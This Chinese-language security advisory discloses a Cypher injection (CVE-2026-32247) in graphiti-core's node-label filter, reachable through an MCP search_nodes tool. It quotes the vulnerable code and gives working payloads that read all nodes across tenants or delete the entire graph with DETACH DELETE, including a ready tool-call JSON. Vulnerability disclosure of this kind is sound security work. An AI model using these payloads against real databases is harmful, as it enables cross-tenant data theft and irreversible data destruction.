严重程度:高(CVSS 8.1)
CWE:CWE-943 — 数据查询逻辑中特殊元素的不当中和
受影响版本:graphiti-core <= 0.28.1(pip)
修复版本:0.28.2
安全公告:GHSA-gg5m-55jj-8m5g
NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-32247
致谢:Romain Deperne
graphiti-core 通过用 | 连接用户提供的节点标签字符串,并将其拼接进原始查询来构建 Cypher WHERE 子句。攻击者可以注入任意 Cypher 运算符,从所有租户的任意图节点中窃取数据,或删除整个图——整条链路中既无参数化,也无任何校验。
我检查了 MCP 工具与图数据库之间边界处的查询构建过程。在 search_filters.py 中,'n:' + node_labels 将来自 entity_types 工具参数的值直接拼接进了 Cypher 查询。
除了标准注入之外,真正让这个问题有意思的是:Cypher 的 WITH 子句可以让你跳出 WHERE 上下文并开启一个全新的管道。因此 ) 会闭合带括号的标签表达式,WITH n 会切换到新子句,而 // 会静默丢弃原查询的剩余部分。一个 payload,即可获得完整的图访问权限。
我首先在独立脚本中复现了查询构建过程,然后在报告之前针对图数据库验证了破坏性场景。
文件:graphiti_core/search/search_filters.py,第 91–92 行和第 134–135 行
# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause
入口点:mcp_server/src/graphiti_mcp_server.py,第 441 行
search_filters = SearchFilters(
node_labels=entity_types, # user input passed directly, no validation
)
entity_types 参数从 MCP 的 search_nodes 工具调用直接流入查询构建器。Neo4j 和 FalkorDB 后端均受影响。Kuzu 后端不受影响,因为它使用参数化查询。
node_label_filter 值(n:Label1|Label2)被嵌入到 Cypher 查询中,形式如下:
WHERE (n:Label1|Label2) AND ...
由于标签由 | 连接并由调用方用括号包裹,攻击者只需用 ) 闭合表达式并注入新的 Cypher 子句即可。// 注释运算符会抑制原始查询的其余部分。
# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest
# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
通过 MCP 工具调用:
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
group_id 命名空间中的任意节点/关系DETACH DELETE 会清空整个图group_id 过滤在可注入的标签过滤之后应用——注入 WITH 子句即可完全绕过修补后的版本在插值前会依据仅允许字母数字字符的允许列表校验节点标签,全文搜索路径对 group_id 值使用参数化查询。